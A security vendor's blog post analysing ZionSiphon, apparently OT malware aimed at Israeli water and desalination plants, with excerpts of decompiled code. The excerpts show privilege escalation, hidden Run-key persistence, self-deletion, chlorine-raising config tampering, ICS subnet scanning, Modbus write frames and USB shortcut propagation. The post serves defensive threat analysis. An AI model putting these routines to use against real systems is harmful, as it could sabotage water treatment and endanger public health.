Inside ZionSiphon: Darktrace's Analysis of OT Malware Targeting Israeli Water Systems

By Calum Hall

Published: 2026-04-16 · Archived: 2026-05-06 02:01:55 UTC

What is ZionSiphon?

Darktrace recently analyzed a malware sample, which identifies itself as ZionSiphon. This sample combines several familiar host-based capabilities, including privilege escalation, persistence, and removable-media propagation, with targeting logic themed around water treatment and desalination environments.

This blog details Darktrace's investigation of ZionSiphon, focusing on how the malware identifies targets, establishes persistence, attempts to tamper with local configuration files, and scans for Operational Technology (OT)-relevant services on the local subnet. The analysis also assesses what the code suggests about the threat actor's intended objectives and highlights where the implementation appears incomplete.

```
static ZionSiphon()
{
    int num = 0;
    if (num == 1)
    {
    }
    Netanyahu = "SW4gc3VwcG9ydCBvZiBvdXIgYnJvdGhlcnMgaW4gSXJhbiwgUGFsZXN0aW5lLCBhbm
    sdCBvZiB = "svchost.exe";
```

Figure 1: Function "ZionSiphon()" used by the malware author.

ZionSiphon targets and motivations

Israel-Focused Targeting and Messaging

The clearest indicators of intent in this sample are its hardcoded Israel-focused targeting checks and the strong political messaging found in some strings in the malware's binary.

In the class initializer, the malware defines a set of IPv4 ranges, including "2.52.0.0-2.55.255.255", "79.176.0.0-79.191.255.255", and "212.150.0.0-212.150.255.255", indicating that the author intended to restrict execution to a narrow range of addresses. All of the specified IP blocks are geographically located within Israel.

```
ipRanges = new Dictionary<string, string>
{
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("Mi41Mi4wLjAtMi41NS4yNTUuMjU1")), // base64: 2.52.0.0-2.55.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
    },
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("NS4yOC4wLjAtNS4yOS4yNTUuMjU1")), // base64: 5.28.0.0-5.29.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
    },
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("MzEuMTU0LjAuMC0zMS4xNTUuMjU1LjI1NQ==")), // base64: 31.154.0.0-31.155.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
    },
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("MzcuMTQyLjAuMC0zNy4xNDMuMjU1LjI1NQ==")), // base64: 37.142.0.0-37.143.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
    },
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("NjIuMC4wLjAtNjIuMC4yNTUuMjU1")), // base64: 62.0.0.0-62.0.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
    },
    {
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("NzkuMTc2LjAuMC03OS4xOTEuMjU1LjI1NQ==")), // base64: 79.176.0.0-79.191.255.255
        Conversions.ToString(WtnUlqElQOLkBtpvRRvMZKX("TnF2YmRr")) // base64: Nqvbdk
```

Figure 2: The malware obfuscates the IP ranges by encoding them in Base64.

The ideological motivations behind this malware are also seemingly evident in two Base64-encoded strings embedded in the binary. The first (shown in Figure 1) is:

"*Netanyahu = SW4gc3VwcG9ydCBvZiBvdXIgYnJvdGhlcnMgaW4gSXJhbiwgUGFsZXN0aW5lLCBhbmQgWWVtZW4gYWdhaW5zdCBaaW9uaXN0IGFnZ3Jlc3Npb24uIEkgYW0gIjB4SUNTIg==*" which decodes to "*In support of our brothers in Iran, Palestine, and Yemen against Zionist aggression. I am "0xICS*".

The second string, "*Dimona = UG9pc29uaW5nIHRoZSBwb3B1bGF0aW9uIG9mIFRlbCBBdml2IGFuZCBIYWlmYQo=*", decodes to "*Poisoning the population of Tel Aviv and Haifa*". These strings do not appear to be used by the malware for any

operational purpose, but they do offer an indication of the attacker's motivations. Dimona, referenced in the second string, is an Israeli city in the Negev desert, primarily known as the site of the Shimon Peres Negev Nuclear Research Center.

```
    };
    Dimona = "UG9pc29uaWSnIHRoZS8wb3B1bGF0aW9uIG9mIFRlbCBBdml2IGFuZCBIYWlmYQo="; // base64: Poisoning the population of Tel Aviv and Haifa\n
}
```

Figure 3: The Dimona string as it appears in the decompiled malware, with the Base64-decoded text.

The hardcoded IP ranges and propaganda-style text suggest politically motivated intent, with Israel appearing to be a likely target.

Water and desalination-themed targeting?

The malware also includes Israel-linked strings in its target list, including "Mekorot, "Sorek", "Hadera", "Ashdod", "Palmachim", and "Shafdan". All of the strings correspond to components of Israel's national water infrastructure: Mekorot is Israel's national water company responsible for managing the country's water system, including major desalination and wastewater projects. Sorek, Hadera, Ashdod, and Palmachim are four of Israel's five major seawater desalination plants, each producing tens of millions of cubic meters of drinking water annually. Shafdan is the country's central wastewater treatment and reclamation facility. Their inclusion in ZionSiphon's targeting list suggests an interest in infrastructure linked to Israel's water sector.

```
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U29yZWs=")), // base64: Sorek
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("SGFkZXJh")), // base64: Hadera
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("QXNoZG9k")), // base64: Ashdod
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("TWVrb3JvdA==")), // base64: Mekorot
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGVzYWxQTEM=")), // base64: DesalPLC
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("Uk9Db250cm9sbGVy")), // base64: ROController
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U2NobmVpZGVyUk8=")), // base64: SchneiderRO
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGFtUk8=")), // base64: DamRO
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("UGFsbWFjaGlt")), // base64: Palmachim
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U2hhZmRhbg==")), // base64: Shafdan
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RWlsYXREZXNhbA==")), // base64: EilatDesal
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("SURFX1RlY2g=")), // base64: IDE_Tech
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("UmV2ZXJzZU9zbW9zaXM=")), // base64: ReverseOsmosis
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("V2F0ZXJHZW5peA==")), // base64: WaterGenix
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGVzYWxTeXM=")), // base64: DesalSys
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("Uk9fUHVtcA==")), // base64: RO_Pump
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("Q2hsb3JpbmVDdHJs")), // base64: ChlorineCtrl
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGVzYWxVbml0")), // base64: DesalUnit
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("V2F0ZXJQTEM=")), // base64: WaterPLC
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("SHlkcm9UZWNo")), // base64: HydroTech
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("QXF1YVN5cw==")), // base64: AquaSys
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U2VhV2F0ZXJSTw==")), // base64: SeaWaterRO
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("QnJpbmVDb250cm9s")), // base64: BrineControl
Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("T3Ntb3Npc1BMQw==")), // base64: OsmosisPLC
```

Figure 4: Strings in the target list, all related to Israel and water treatment.

Beyond geographic targeting, the sample contains a second layer of environment-specific checks aimed at water treatment and desalination systems. In the function "**IsDamDesalinationPlant()**", the malware first inspects running process names for strings such as "**DesalPLC**", "**ROController**", "**SchneiderRO**", "**DamRO**", "**ReverseOsmosis**", "**WaterGenix**", "**RO_Pump**", "**ChlorineCtrl**", "**WaterPLC**", "**SeaWaterRO**", "**BrineControl**", "**OsmosisPLC**", "**DesalMonitor**", "**RO_Filter**", "**ChlorineDose**", "**RO_Membrane**", "**DesalFlow**", "**WaterTreat**", and "**SalinityCtrl**". These strings are directly related to desalination, reverse osmosis, chlorine handling, and plant control components typically seen in the water treatment industry.

The filesystem checks reinforce this focus. The code looks for directories such as **"C:\Program Files\Desalination"**, **"C:\Program Files\Schneider Electric\Desal"**, **"C:\Program Files\IDE Technologies"**, **"C:\Program Files\Water Treatment"**, **"C:\Program Files\RO Systems"**, **"C:\Program Files\DesalTech"**, **"C:\Program Files\Aqua Solutions"**, and **"C:\Program Files\Hydro Systems"**, as well as files including **"C:\DesalConfig.ini"**, **"C:\ROConfig.ini"**, **"C:\DesalSettings.conf"**, **"C:\Program Files\Desalination\system.cfg"**, **"C:\WaterTreatment.ini"**, **"C:\ChlorineControl.dat"**, **"C:\RO_PumpSettings.ini"**, and **"C:\SalinityControl.ini."**

Privilege Escalation

```
public static void RunAsAdmin()
{
    int num = 0;
    if (num == 1)
    {
    }
    if (!IsElevated())
    {
        try
        {
            mutex.WaitOne();
            Process process = new Process();
            process.StartInfo.FileName = "powershell.exe";
            process.StartInfo.Arguments = "Start-Process -FilePath " + Assembly.GetExecutingAssembly().Location + " -Verb RunAs";
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();
            process.WaitForExit();
            Environment.Exit(0);
        }
        finally
        {
            mutex.ReleaseMutex();
        }
    }
}
```

Figure 5: The "RunAsAdmin" function from the malware sample.

The malware's first major action is to check whether it is running with administrative rights. The "**RunAsAdmin()**" function calls "**IsElevated()",** which retrieves the current Windows identity and checks whether it belongs to the local Administrators group. If the process is already elevated, execution proceeds normally.

```
private static bool IsElevated()
{
    int num = 0;
    if (num == 1)
    {
    }
    WindowsIdentity current = WindowsIdentity.GetCurrent();
    WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
    return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
}
```

Figure 6: The "IsElevated" function as seen in the sample.

If not, the code waits on the named mutex and launches "**powershell.exe**" with the argument "**Start-Process -FilePath <current executable> -Verb RunAs**", after which it waits for that process to finish and then exits.

Persistence and stealth installation

```
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(mkVPjpANBcHZvFKsDsOOgqU("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3N
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (Operators.CompareString(fileName, stealthPath, false) != 0)
{
    File.Copy(fileName, stealthPath, overwrite: true);
    File.SetAttributes(stealthPath, FileAttributes.Hidden);
}
registryKey.SetValue(Conversions.ToString(mkVPjpANBcHZvFKsDsOOgqU("U3lzdGVtSGVhbHRoQ2hlY2s=")), stealthPath); // base64: SystemHealthCheck
```

Figure 7: Registry key creation.

Persistence is handled by "**s1()**". This routine opens "**HKCU\Software\Microsoft\Windows\CurrentVersion\Run**", retrieves the current process path, and compares it to "**stealthPath**". If the current file is not already running from that location, it copies itself to the stealth path and sets the copied file's attributes to "hidden".

The code then creates a "**Run**" value named "**SystemHealthCheck**" pointing to the stealth path. Because "**stealthPath**" is built from "**LocalApplicationData**" and the hardcoded filename "**svchost.exe**", the result is a user-level persistence mechanism that disguises the payload under a familiar Windows process name. The combination of a hidden file and a plausible-sounding autorun value suggests an intent to blend into ordinary Windows artifacts rather than relying on more complex persistence methods.

Target determination

The malware's targeting determination is divided between "**IsTargetCountry()**" and "**IsDamDesalinationPlant()**". The "**IsTargetCountry()**" function retrieves the local IPv4 address, converts it to a numeric value, and compares it against each

of the hardcoded ranges stored in "**ipRanges**". Only if the address falls within one of these ranges does the code move on to next string-comparison step, which ultimately determines whether the country check succeeded.

```
if (IsTargetCountry())
{
    if (IsDamDesalinationPlant())
    {
        IncreaseChlorineLevel();
        sdfsdfsfsdfsdfqw();
    }
}
```

Figure 8: The main target validation function.

```
private static bool IsTargetCountry()
{
    int num = 0;
    if (num == 1)
    {
    }
    bool result;
    try
    {
        string ip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.First([SpecialName] (IPAddress iPAddre
        long num2 = IPToNumeric(ip);
        foreach (KeyValuePair<string, string> ipRange in ipRanges)
        {
            string[] array = ipRange.Key.Split(new char[1] { '-' });
            long num3 = IPToNumeric(array[0]);
            long num4 = IPToNumeric(array[1]);
            if (num2 < num3 || num2 > num4)
            {
                continue;
            }
            result = Operators.CompareString(ipRange.Value, EncryptDecrypt("Israel", 5), false) == 0;
            goto end_IL_0018;
        }
        result = false;
        end_IL_0018:;
    }
    catch (Exception ex)
```

Figure 9 : The "IsTargetCountry" function.

"**IsDamDesalinationPlant**()" then assesses whether the host resembles a relevant OT environment. It first scans running process names for the hardcoded strings previously mentioned, followed by checks for the presence of any of the hardcoded directories or files. The intended logic is clear: **the payload activates only when both a geographic condition and an environment specific condition related to desalination or water treatment are met.**

```
private static bool IsDamDesalinationPlant()
{
    int num = 0;
    if (num == 1)
    {
    }
    checked
    {
        bool result;
        try
        {
            string[] array = new string[37]
            {
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U29yZWs=")), // base64: Sorek
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("SGFkZXJh")), // base64: Hadera
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("QXNoZG9k")), // base64: Ashdod
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("TWVrb3JvdA==")), // base64: Mekorot
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGVzYWxQTEM=")), // base64: DesalPLC
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("Uk9Db250cm9sbGVy")), // base64: ROController
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U2NobmVpZGVyUk8=")), // base64: SchneiderRO
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGFtUk8=")), // base64: DamRO
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("UGFsbWFjaGlt")), // base64: Palmachim
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("U2hhZmRhbg==")), // base64: Shafdan
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RWlsYXREZXNhbA==")), // base64: EilatDesal
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("SURFX1RlY2g=")), // base64: IDE_Tech
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("UmV2ZXJzZU9zbW9zaXM=")), // base64: ReverseOsmosis
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("V2F0ZXJHZW5peA==")), // base64: WaterGenix
                Conversions.ToString(ujAhTCfXpAnAdnMTGclLegF("RGVzYWxTeXM=")), // base64: DesalSys
```

Figure. 10: An excerpt of the list of strings used in the "IsDamDesalinationPlant" function

Why this version appears dysfunctional

Although the file contains sabotage, scanning, and propagation functions, the current sample appears unable to satisfy its own target-country checking function even when the reported IP falls within the specified ranges. In the static constructor, every "**ipRanges**" entry is associated with the same decoded string, "**Nqvbdk**", derived from "**TnF2YmRr**". Later, "**IsTargetCountry()**" (shown in Figure 8) compares that stored value against "**EncryptDecrypt("Israel", 5)**".

```
private static string EncryptDecrypt(string text, byte key)
{
    int num = 0;
    if (num == 1)
    {
    }
    StringBuilder stringBuilder = new StringBuilder();
    foreach (char c in text)
    {
        stringBuilder.Append(Strings.ChrW(c ^ key));
    }
    return stringBuilder.ToString();
}
```

Figure 11: The "EncryptDecrypt" function

As implemented, "EncryptDecrypt("Israel", 5)" does not produce "**Nqvbdk**", it produces a different string. This function seems to be a basic XOR encode/decode routine, XORing the string "**Israel**" with value of 5. Because the resulting output does not match "**Nqvbdk**" the comparison always fails, even when the host IP falls within one of the specified ranges. As a result, this build appears to consistently determine that the device is not a valid target. This behavior suggests that the version is either intentionally disabled, incorrectly configured, or left in an unfinished state. In fact, there is no XOR key that would transform **"Israel"** into **"Nqvbdk"** using this function.

Self-destruct function

```
vate static void SelfDestruct()

int num = 0;
if (num == 1)
{
}
try
{
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true);
    if (registryKey != null)
    {
        registryKey.DeleteValue("SystemHealthCheck", throwOnMissingValue: false);
        registryKey.Close();
    }
    string path = Path.Combine(Path.GetTempPath(), "target_verify.log");
    File.WriteAllText(path, "Target not matched. Operation restricted to IL ranges. Self-destruct initiated.");
    string fileName = Process.GetCurrentProcess().MainModule.FileName;
    string text = Path.Combine(Path.GetTempPath(), "delete.bat");
    string contents = "@echo off\r\n:repeat\r\ndel \"" + fileName + "\"\r\nif exist \"" + fileName + "\" goto repeat\r\ndel %0";
    File.WriteAllText(text, contents);
    Process.Start(new ProcessStartInfo
    {
        FileName = text,
        CreateNoWindow = true,
        UseShellExecute = false
    });
    Process.GetCurrentProcess().Kill();
}
```

Figure 12: The "SelfDestruct" function

If **IsTargetCountry()** returns false, the malware invokes "**SelfDestruct()**". This routine removes the **SystemHealthCheck** value from "**HKCU\Software\Microsoft\Windows\CurrentVersion\Run**", writes a log file to **"%TEMP%\target_verify.log"** containing the message **"Target not matched. Operation restricted to IL ranges. Self-destruct initiated."** and creates the batch file "%TEMP%\delete.bat". This file repeatedly attempts to delete the malware's executable, before deleting itself.

Local configuration file tampering

If the malware determines that the system it is on is a valid target, its first action is local file tampering. "**IncreaseChlorineLevel()**" checks a hardcoded list of configuration files associated with desalination, reverse osmosis, chlorine control, and water treatment OT/Industrial Control Systems (ICS). As soon as it finds any one of these file present, it appends a fixed block of text to it and returns immediately.

```
string[] array = new string[13]
{
    "C:\\DesalConfig.ini", "C:\\ROConfig.ini", "C:\\Program Files\\Desalination\\system.cfg", "C:\\WaterTreatment.ini", "C:\\ChlorineControl.dat", "C
    "C:\\DesalFlowControl.dat", "C:\\Program Files\\WaterGenix\\system.conf", "C:\\SalinityControl.ini"
};
string[] array2 = array;
foreach (string path in array2)
{
    if (File.Exists(path))
    {
        File.AppendAllText(path, "\r\nChlorine_Dose=10\r\nChlorine_Pump=ON\r\nChlorine_Flow=MAX\r\nChlorine_Valve=OPEN\r\nRO_Pressure=80");
        return;
    }
```

Figure 13: The block of text appended to relevant configuration files.

The appended block of text contains the following entries: "**Chlorine_Dose=10**", "**Chlorine_Pump=ON**", "**Chlorine_Flow=MAX**", "**Chlorine_Valve=OPEN**", and "**RO_Pressure=80**". Only if none of the hardcoded files are found does the malware proceed to its network-based OT discovery logic.

OT discovery and protocol logic

This section of the code attempts to identify devices on the local subnet, assign each one a protocol label, and then attempt protocol-specific communication. While the overall structure is consistent across protocols, the implementation quality varies significantly.

```
vate static List<ICSDevice> UZJctUZJctUZJct()

int num = 0;
if (num == 1)
{
}
_Closure_0024__27_002D2 closure_0024__27_002D = new _Closure_0024__27_002D2(closure_0024__27_002D);
closure_0024__27_002D._0024VB_0024Local_devices = new List<ICSDevice>();
string text = Dns.GetHostEntry(Dns.GetHostName()).AddressList.First([SpecialName] (IPAddress ip) => ip.AddressFamily == AddressFamily.InterNetwork)
checked
{
    string text2 = text.Substring(0, text.LastIndexOf(".") + 1);
    int[] array = new int[3] { 502, 20000, 102 };
    List<Task> list = new List<Task>();
    int num2 = 1;
    _Closure_0024__27_002D0 closure_0024__27_002D2 = default(_Closure_0024__27_002D0);
    _Closure_0024__27_002D1 closure_0024__27_002D3 = default(_Closure_0024__27_002D1);
    do
    {
        closure_0024__27_002D2 = new _Closure_0024__27_002D0(closure_0024__27_002D2);
        closure_0024__27_002D2._0024VB_0024NonLocal__0024VB_0024Closure_2 = closure_0024__27_002D;
        closure_0024__27_002D2._0024VB_0024Local_ip = text2 + Conversions.ToString(num2);
        int[] array2 = array;
        for (int num3 = 0; num3 < array2.Length; num3++)
        {
            closure_0024__27_002D3 = new _Closure_0024__27_002D1(closure_0024__27_002D3);
```

Figure 14: The ICS scanning function.

The discovery routine, "**UZJctUZJctUZJct()**", obtains the local IPv4 address, reduces it to a /24 prefix, and iterates across hosts 1 through 255. For each host, it probes ports **502 (Modbus)**, **20000 (DNP3)**, and **102 (S7comm)**, which the code labels as "Modbus", "DNP3", and "S7" respectively if a valid response is received on the relevant port.

The probing is performed in parallel. For every "**ip:port**" combination, the code creates a task and attempts a TCP connection. The "**100 ms**" value in the probe routine is a per-connection timeout on "**WaitOne(100, ...)**", rather than a delay between hosts or protocols. In practice, this results in a burst of short-lived OT-focused connection attempts across the local subnet.

Protocol validation and device classification

When a connection succeeds, the malware does not stop at the open port. It records the endpoint as an "ICSDevice" with an IP address, port, and protocol label. It then performs a second-stage validation by writing a NULL byte to the remote stream and reading the response that comes back.

For **Modbus**, the malware checks whether the first byte of the reply is between 1 and 255, for **DNP3**, it checks whether the first two bytes are "05 64", and for **S7comm**, it checks whether the first byte is "03". These checks are not advanced parsers, but they do show that the author understood the protocols well enough to add lightweight confirmation before sending follow-on data.

```
if (Operators.ConditionalCompareObjectEqual((object)protocol, FPOkIarNwmwoflESXorRGkC("TW9kYnVz"), false)) // base64: Modbus
{
    object obj;
    if (!Operators.ConditionalCompareObjectEqual((object)parameter, FPOkIarNwmwoflESXorRGkC("Q2hsb3JpbmVfRG9zZQ=="), false)) // base64: Chlorine_Dose
    {
        obj = new byte[6] { 1, 6, 0, 2, 0, 0 };
    }
    else
    {
        obj = new byte[6] { 1, 6, 0, 3, 0, 0 };
        ((sbyte[])obj)[4] = (sbyte)checked((byte)(value >> 8));
        ((sbyte[])obj)[5] = (sbyte)checked((byte)(value & 0xFF));
    }
    return (byte[])obj;
}
if (Operators.ConditionalCompareObjectEqual((object)protocol, FPOkIarNwmwoflESXorRGkC("RE5QMw=="), false)) // base64: DNP3
{
    return new byte[6] { 5, 100, 10, 12, 1, 2 };
}
if (Operators.ConditionalCompareObjectEqual((object)protocol, FPOkIarNwmwoflESXorRGkC("Uzc="), false)) // base64: S7
{
    return new byte[6] { 3, 0, 0, 19, 14, 0 };
}
return new byte[0];
```

Figure 15: The Modbus read request along with unfinished code for additional protocols.

The most developed OT-specific logic is the Modbus-oriented path. In the function "**IncreaseChlorineLevel(string targetIP, int targetPort, string parameter)**", the malware connects to the target and sends "**01 03 00 00 00 0A**". It then reads the response and parses register values in pairs. The code then uses some basic logic to select a register index: for "**Chlorine_Dose**", it looks for values greater than 0 and less than 1000; for "**Turbine_Speed**", it looks for values greater than 100.

The Modbus command observed in the sample (01 03 00 00 00 0A) is a Read Holding Registers request. The first byte (0x01) represents the unit identifier, which in traditional Modbus RTU specifies the addressed slave device; in Modbus TCP, however, this value is often ignored or used only for gateway routing because device addressing is handled at the IP/TCP layer.

The second byte (0x03) is the Modbus function code indicating a Read Holding Registers request. The following two bytes (0x00 0x00) specify the starting register address, indicating that the read begins at address zero. The final two bytes (0x00 0A) define the number of registers to read, in this case ten consecutive registers. Taken together, the command requests the contents of the first ten holding registers from the target device and represents a valid, commonly used Modbus operation.

If a plausible register is found, the malware builds a six-byte Modbus write using function code "**6" (Write)**" and sets the value to 100 for "**Chlorine_Dose**", or 0 for any other parameter. If no plausible register is found, it falls back to using hardcoded write frames. In the main malware path, however, the code only calls this function with "**Chlorine_Dose**".

If none of the ten registers meets the expected criteria, the malware does not abandon the operation. Instead, it defaults to a set of hardcoded Modbus write frames that specify predetermined register addresses and values. This behavior suggests that the attacker had only partial knowledge of the target environment. The initial register-scanning logic appears to be an attempt at dynamic discovery, while the fallback logic ensures that a write operation is still attempted even if that discovery fails.

Incomplete DNP3 and S7comm Logic

The DNP3 and S7comm branches appear much less complete. In "**GetCommand()**", the DNP3 path returns the fixed byte sequence "**05 64 0A 0C 01 02**", while the S7comm path returns "**03 00 00 13 0E 00**". Neither sequence resembles a fully formed command for the respective protocol.

In the case of the S7comm section, the five byte- sequence found in the malware sample (**05 00 1C 22 1E**) most closely matches the beginning of an S7comm parameter block, specifically the header of a "**WriteVar (0x05)**" request, which is the S7comm equivalent of a Modbus register write operation. In the S7comm protocol, the first byte of a parameter block identifies the function code, but the remaining bytes in this case do not form a valid item definition. A vaild S7 WriteVar parameter requires at least one item and a full 11-byte variable-specification structure. By comparison this 5- byte array is far too short to be a complete or usable command.

The zero item count (0x00) and the trailing three bytes appear to be either uninitialized data or the beginning of an incomplete address field. Together, these details suggest that the attacker likely intended to implement S7 WriteVar functionality, like the Modbus function, but left this portion of the code unfinished.

The DNP3 branch of the malware also appears to be only partially implemented. The byte sequence returned by the DNP3 path (**05 64 0A 0C 01 02**) begins with the correct two-byte DNP3 link-layer sync header (**0x05 0x64**) and includes additional bytes that resemble the early portion of a link-layer header. However, the sequence is far too short to constitute a valid DNP3 frame. It lacks the required destination and source address fields, the 16-bit CRC blocks, and any application-layer payload in which DNP3 function code would reside. As a result, this fragment does not represent a meaningful DNP3 command.

The incomplete S7 and DNP3 fragments suggest that these protocol branches were still in a developmental or experimental state when the malware was compiled. Both contain protocol-accurate prefixes, indicating an intent to implement multi-protocol OT capabilities, however for reasons unknow, these sections were not fully implemented or could not be completed prior to deployment.

USB Propagation

The malware also includes a removable-media propagation mechanism. The "**sdfsdfsfsdfsdfqw()**" function scans for drives, selects those identified as removable, and copies the hidden payload to each one as "**svchost.exe**" if it is not already present. The copied executable is marked with the "**Hidden**" and "**System**" attributes to reduce visibility.

The malware then calls "CreateUSBShortcut()", which uses "WScript.Shell" to create .lnk files for each file in the removable drive root. Each shortcut's TargetPath is set to the hidden malware copy, the icon is set to "shell32.dll, 4" (this is the windows genericfile icon), and the original file is hidden. Were a victim to click this "file," they would unknowingly run the malware.

```
DirectoryInfo directoryInfo = new DirectoryInfo(drive);
string text = Path.Combine(drive, sdCBvZiB);
object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", ""));
FileInfo[] files = directoryInfo.GetFiles("*.*");
foreach (FileInfo fileInfo in files)
{
    if (!fileInfo.FullName.Equals(text))
    {
        string text2 = Path.Combine(drive, fileInfo.Name + ".lnk");
        object[] obj = new object[1] { text2 };
        object[] array = obj;
        bool[] obj2 = new bool[1] { true };
        bool[] array2 = obj2;
        object obj3 = NewLateBinding.LateGet(objectValue, (Type)null, "CreateShortcut", obj, (string[])null, (Type[])null, obj2);
        if (array2[0])
        {
            text2 = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
        }
        object objectValue2 = RuntimeHelpers.GetObjectValue(obj3);
        NewLateBinding.LateSet(objectValue2, (Type)null, "TargetPath", new object[1] { text }, (string[])null, (Type[])null);
        NewLateBinding.LateSet(objectValue2, (Type)null, "IconLocation", new object[1] { "shell32.dll, 4" }, (string[])null, (Type[])null);
        NewLateBinding.LateCall(objectValue2, (Type)null, "Save", new object[0], (string[])null, (Type[])null, (bool[])null, true);
        File.SetAttributes(fileInfo.FullName, FileAttributes.Hidden);
    }
```

Figure 14:The creation of the shortcut on the USB device.

Key Insights

ZionSiphon represents a notable, though incomplete, attempt to build malware capable of malicious interaction with OT systems targeting water treatment and desalination environments.

While many of ZionSiphon's individual capabilities align with patterns commonly found in commodity malware, the combination of politically motivated messaging, Israel-specific IP targeting, and an explicit focus on desalination-related processes distinguishes it from purely opportunistic threats. The inclusion of Modbus sabotage logic, filesystem tampering targeting chlorine and pressure control, and subnet-wide ICS scanning demonstrates a clear intent to interact directly with industrial processes controllers and to cause significant damage and potential harm, rather than merely disrupt IT endpoints.

At the same time, numerous implementation flaws, most notably the dysfunctional country-validation logic and the placeholder DNP3 and S7comm components, suggest that analyzed version is either a development build, a prematurely deployed sample, or intentionally defanged for testing purposes. Despite these limitations, the overall structure of the code likely indicates a threat actor experimenting with multi-protocol OT manipulation, persistence within operational networks, and removable-media propagation techniques reminiscent of earlier ICS-targeting campaigns.

Even in its unfinished state, ZionSiphon underscores a growing trend in which threat actors are increasingly experimenting with OT-oriented malware and applying it to the targeting of critical infrastructure. Continued monitoring, rapid anomaly detection, and cross-visibility between IT and OT environments remain essential for identifying early-stage threats like this before they evolve into operationally viable attacks.

Credit to Calum Hall (Cyber Analyst)
Edited by Ryan Traill (Content Manager)

References

1.
https://www.virustotal.com/gui/file/07c3bbe60d47240df7152f72beb98ea373d9600946860bad12f7bc617a5d6f5f/details

---